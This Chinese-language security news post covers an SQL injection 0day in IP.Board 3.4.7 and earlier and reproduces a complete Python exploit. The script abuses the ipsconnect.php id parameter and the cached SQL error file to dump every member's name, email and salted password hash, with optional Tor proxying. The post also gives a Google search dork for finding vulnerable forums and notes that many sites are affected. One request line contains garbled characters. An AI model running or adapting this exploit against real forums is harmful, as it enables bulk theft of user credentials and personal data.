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近日IP.Board <= 3.4.7爆出重要0day漏洞。IPB论坛全称为Invision Power Board(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+Mysql架构。
漏洞成因是酱紫的,interface/ipsconnect/ipsconnect.php页面的没有正确处理id参数。导致网站出现sql error,漏洞会把sql error写入/cache/sql_error_latest.cgi。通过不断遍历读取数据,可以获取到相应敏感信息。
漏洞POC(仅供网站安全验证,禁止非法用途)
- #!/usr/bin/env python
- # Sunday, November 09, 2014 - secthrowaway [ at ] safe-mail.net
- # IP.Board <= 3.4.7 SQLi (blind, error based);
- # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
- url = 'http://target.tld/forum/'
- ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
- import sys, re
- # <socks> - http://sourceforge.net/projects/socksipy/
- #import socks, socket
- #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
- #socket.socket = socks.socksocket
- # </socks>
- import urllib2, urllib
- def inject(sql):
- try:
- urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login觔 =id[]=-1[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
- except urllib2.HTTPError, e:
- if e.code == 503:
- data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
- txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
- if txt is not None:
- return txt.group(1)
- sys.exit('Error [3], received unexpected data:\n%s' % data)
- sys.exit('Error [1]')
- sys.exit('Error [2]')
- def get(name, table, num):
- sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
- s = int(inject('LENGTH((%s))' % sqli))
- if s < 31:
- return inject(sqli)
- else:
- r = ''
- for i in range(1, s+1, 31):
- r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
- return r
- n = inject('SELECT COUNT(*) FROM members')
- print '* Found %s users' % n
- for j in range(int(n)):
- print get('member_id', 'members', j)
- print get('name', 'members', j)
- print get('email', 'members', j)
- print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
- print '----------------'
复制代码
POC来源:https://www.marshut.net/krtqnk/ip-board-3-4-7-sql-injection.html
Google关键字:inurl:Software by IP.Board 3.4. inurl:Forum
国外受影响的站点还是比较多的。 |
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